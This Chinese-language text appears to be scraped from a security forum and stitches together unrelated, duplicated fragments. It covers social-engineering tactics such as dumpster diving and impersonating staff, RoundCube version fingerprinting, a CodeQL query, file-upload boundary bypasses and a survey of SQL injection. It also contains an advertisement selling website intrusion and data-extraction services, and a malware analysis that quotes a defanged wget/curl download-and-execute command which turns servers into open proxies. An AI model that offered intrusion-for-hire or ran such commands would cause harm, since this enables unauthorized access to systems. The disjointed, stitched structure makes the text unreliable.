信息数据收集两大方法：
物理方法收集和技术方法收集
①信息收集物理方法
物理方法来收集信息的形式多种多样，有的需要涉及一点便宜的设备，比如，RFID复制器，树莓派，照相机（一般用收集），指纹扫描器，和一些比较昂贵的高科技设备。物理方法收集的缺点就是必须要在现场，没法躲在黑暗的屋子里，更容易暴露自己，这就使得社工师必须熟练的掌握并运用假象、模拟、、影响、心理学等多种因素，来更快的找到信息源和信息切入点，比如、常见的路由设备，公开的USB接口，一些办公资料，记事簿，不经意间掉落的东西。
实在不行就翻翻垃圾桶，垃圾桶是人们比较放松警惕的地方，里面可能会有你需要的有价值的东西，简历、照片、报表、开会笔记、对账单、财务信息、日志以及个人的私有物品，这些都可以被用来对目标者实施攻击，但是你必须接触到这些东西存放的地点，同时，注意卫生！！！因为他们实在是不进行垃圾分类的。。。
融入到所处的环境中，这就使得攻击者要学习相关的术语，利用框架的模拟、伪装等来成为你是里面的工作人员，不容易让别人一眼识破，有句话是这么说的“入乡随俗”，他们干啥你干啥，同时不忘了你的很正目的。要融入到所处的环境中，最起码衣着、言谈、举止要注意一下，性格外向的人更容易与别人接触，从而有机会获取更多的信息，如：工牌号、名字。
推荐看一些谍战片，学习里面的相关细节
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
物理方法收集和技术方法收集
①信息收集物理方法
物理方法来收集信息的形式多种多样，有的需要涉及一点便宜的设备，比如，RFID复制器，树莓派，照相机（一般用收集），指纹扫描器，和一些比较昂贵的高科技设备。物理方法收集的缺点就是必须要在现场，没法躲在黑暗的屋子里，更容易暴露自己，这就使得社工师必须熟练的掌握并运用假象、模拟、、影响、心理学等多种因素，来更快的找到信息源和信息切入点，比如、常见的路由设备，公开的USB接口，一些办公资料，记事簿，不经意间掉落的东西。
实在不行就翻翻垃圾桶，垃圾桶是人们比较放松警惕的地方，里面可能会有你需要的有价值的东西，简历、照片、报表、开会笔记、对账单、财务信息、日志以及个人的私有物品，这些都可以被用来对目标者实施攻击，但是你必须接触到这些东西存放的地点，同时，注意卫生！！！因为他们实在是不进行垃圾分类的。。。
融入到所处的环境中，这就使得攻击者要学习相关的术语，利用框架的模拟、伪装等来成为你是里面的工作人员，不容易让别人一眼识破，有句话是这么说的“入乡随俗”，他们干啥你干啥，同时不忘了你的很正目的。要融入到所处的环境中，最起码衣着、言谈、举止要注意一下，性格外向的人更容易与别人接触，从而有机会获取更多的信息，如：工牌号、名字。
推荐看一些谍战片，学习里面的相关细节
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对源代码进行研究
在RoundCube Webmail源代码中我们发现存在对静态文件路径进行处理的函数
检查后缀是不是常见的前端资源（JS、CSS、图片等）。
如果是，就调用 $this->file_mod($file) 给它加个时间戳（比如style.css?v=123456），起到缓存更新控制的作用。那这块提到的file_mod方法就是对给前端资源文件自动加上版本参数（文件最后修改时间对应的Unix 时间戳）
使用了filemtime(string $filename)返回指定文件的最后修改时间并拼接到静态文件后，这也确定了此方法的可行性。
通过研究发现每个版本对应的文件时间戳都不相同，因此可以通过计算静态资源文件最后修改时间并生成版本映射库来实现静态文件时间戳识别版本，对于更新迭代较为缓慢的产品也可以采用资源文件最后修改时间对应产品版本发布时间来判断，当然这样不是非常准确，但也为我们提供了可参考价值。
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在RoundCube Webmail源代码中我们发现存在对静态文件路径进行处理的函数
检查后缀是不是常见的前端资源（JS、CSS、图片等）。
如果是，就调用 $this->file_mod($file) 给它加个时间戳（比如style.css?v=123456），起到缓存更新控制的作用。那这块提到的file_mod方法就是对给前端资源文件自动加上版本参数（文件最后修改时间对应的Unix 时间戳）
使用了filemtime(string $filename)返回指定文件的最后修改时间并拼接到静态文件后，这也确定了此方法的可行性。
通过研究发现每个版本对应的文件时间戳都不相同，因此可以通过计算静态资源文件最后修改时间并生成版本映射库来实现静态文件时间戳识别版本，对于更新迭代较为缓慢的产品也可以采用资源文件最后修改时间对应产品版本发布时间来判断，当然这样不是非常准确，但也为我们提供了可参考价值。
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长会话模式
模式简介：
整个Web应用使用单个持久数据库连接，所有用户请求共享此连接。
使用规模：
较少，特定场景：金融交易系统、小型嵌入式应用，一些较老的cms也存在此情况
利用可行性：
所有用户操作在同一个会话中，但条件1需要不同会话才会产生锁等待，所以不会发生锁等待，也就不能造成延时的效果
这里以MRCMS-3.1.2版本为例，他就是长会话模式
通过数据库监听工具可以看到，无论进行多少次数据库操作他的thread_id一直都为994，尽管切换登录，替换用户凭证，ip等都还是thread_id为994且没有断开连接，那么就不满足条件1：需要不同会话（只有不同会话的锁竞争才会导致延时），也就不会导致锁等待，就不会造成延时的效果。
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模式简介：
整个Web应用使用单个持久数据库连接，所有用户请求共享此连接。
使用规模：
较少，特定场景：金融交易系统、小型嵌入式应用，一些较老的cms也存在此情况
利用可行性：
所有用户操作在同一个会话中，但条件1需要不同会话才会产生锁等待，所以不会发生锁等待，也就不能造成延时的效果
这里以MRCMS-3.1.2版本为例，他就是长会话模式
通过数据库监听工具可以看到，无论进行多少次数据库操作他的thread_id一直都为994，尽管切换登录，替换用户凭证，ip等都还是thread_id为994且没有断开连接，那么就不满足条件1：需要不同会话（只有不同会话的锁竞争才会导致延时），也就不会导致锁等待，就不会造成延时的效果。
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❤2
参数类型为指定的数据结构
通过对上一步查询结果的观察，发现存在非绑定类型的参数，如：String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码，发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为：
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便，将上面的代码进行整合，重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
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通过对上一步查询结果的观察，发现存在非绑定类型的参数，如：String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码，发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为：
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便，将上面的代码进行整合，重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
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👍1
针对 Linux SSH 服务器代理安装攻击
TinyProxy 安装案例
攻击尝试登录蜜罐Linux服务器，登录成功后，使用以下命令下载并执行Bash恶意软件。
# (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh
该 Bash 脚本首先根据操作系统环境使用 apt、yum 或 dnf 安装 TinyProxy。它会操作配置文件以允许外部连接并保持持久性。
具体来说，删除 TinyProxy 配置文件“/etc/tinyproxy/tinyproxy.conf”或“/etc/tinyproxy.conf”中以 Allow 和 Deny 开头的访问控制规则，并添加规则“Allow 0.0.0.0/0”。此规则允许来自外部来源的不受限制的访问。这样，攻击者就可以访问 TinyProxy 服务使用的 8888 端口，并将受感染的系统用作代理。
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TinyProxy 安装案例
攻击尝试登录蜜罐Linux服务器，登录成功后，使用以下命令下载并执行Bash恶意软件。
# (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh
该 Bash 脚本首先根据操作系统环境使用 apt、yum 或 dnf 安装 TinyProxy。它会操作配置文件以允许外部连接并保持持久性。
具体来说，删除 TinyProxy 配置文件“/etc/tinyproxy/tinyproxy.conf”或“/etc/tinyproxy.conf”中以 Allow 和 Deny 开头的访问控制规则，并添加规则“Allow 0.0.0.0/0”。此规则允许来自外部来源的不受限制的访问。这样，攻击者就可以访问 TinyProxy 服务使用的 8888 端口，并将受感染的系统用作代理。
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Content-Type中的boundary边界混淆绕过
因为上面讲到了Content-Type类型，那么对于我们来说，文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作，刚才讲到了利用multipart/form-data必须用boundary边界来进行限制，那么我们这里研究一下boundary边界的一些问题。
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因为上面讲到了Content-Type类型，那么对于我们来说，文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作，刚才讲到了利用multipart/form-data必须用boundary边界来进行限制，那么我们这里研究一下boundary边界的一些问题。
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SQL注入
SQL注入是一种攻击，当攻击者能够在易受攻击的SQL查询中插入并执行恶意代码时发生，如[10]中所讨论的。这些攻击通常用于绕过登录机制或从数据库中窃取敏感信息。
SQL注入漏洞的主要原因在于直接在SQL查询中使用未清理的用户输入，以及缺乏安全编程实践，如预编译语句或参数化查询。
经典的SQL注入形式包括尾随查询，攻击者通过插入恶意SQL代码来操纵输入字段，通常使用分号（;）来终止合法查询并附加恶意查询。另一个典型案例是利用存储过程，攻击者通过注入的SQL语句创建或操纵数据库过程。
更高级的SQL注入形式包括：
盲SQL注入，用于应用程序不返回可见错误消息但允许通过行为变化进行推断的情况。这可以进一步分类为：
基于布尔（基于内容）：攻击者在查询中发送布尔条件，并观察应用程序响应的内容或结构差异，以推断信息。
基于时间：攻击者利用SLEEP()或WAITFOR DELAY等命令诱导时间延迟，从响应持续时间推断数据。
基于UNION的SQL注入，攻击者使用SQL UNION运算符将原始查询的结果与另一个恶意查询的结果结合起来，从而有效地从其他表中检索数据。
带外SQL注入，用于传统技术失败时。这种方法依赖于DNS或HTTP请求等外部系统来窃取数据。当攻击者无法直接观察应用程序的响应但可以触发远程服务器上的事件时，这种方法特别有效。
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SQL注入是一种攻击，当攻击者能够在易受攻击的SQL查询中插入并执行恶意代码时发生，如[10]中所讨论的。这些攻击通常用于绕过登录机制或从数据库中窃取敏感信息。
SQL注入漏洞的主要原因在于直接在SQL查询中使用未清理的用户输入，以及缺乏安全编程实践，如预编译语句或参数化查询。
经典的SQL注入形式包括尾随查询，攻击者通过插入恶意SQL代码来操纵输入字段，通常使用分号（;）来终止合法查询并附加恶意查询。另一个典型案例是利用存储过程，攻击者通过注入的SQL语句创建或操纵数据库过程。
更高级的SQL注入形式包括：
盲SQL注入，用于应用程序不返回可见错误消息但允许通过行为变化进行推断的情况。这可以进一步分类为：
基于布尔（基于内容）：攻击者在查询中发送布尔条件，并观察应用程序响应的内容或结构差异，以推断信息。
基于时间：攻击者利用SLEEP()或WAITFOR DELAY等命令诱导时间延迟，从响应持续时间推断数据。
基于UNION的SQL注入，攻击者使用SQL UNION运算符将原始查询的结果与另一个恶意查询的结果结合起来，从而有效地从其他表中检索数据。
带外SQL注入，用于传统技术失败时。这种方法依赖于DNS或HTTP请求等外部系统来窃取数据。当攻击者无法直接观察应用程序的响应但可以触发远程服务器上的事件时，这种方法特别有效。
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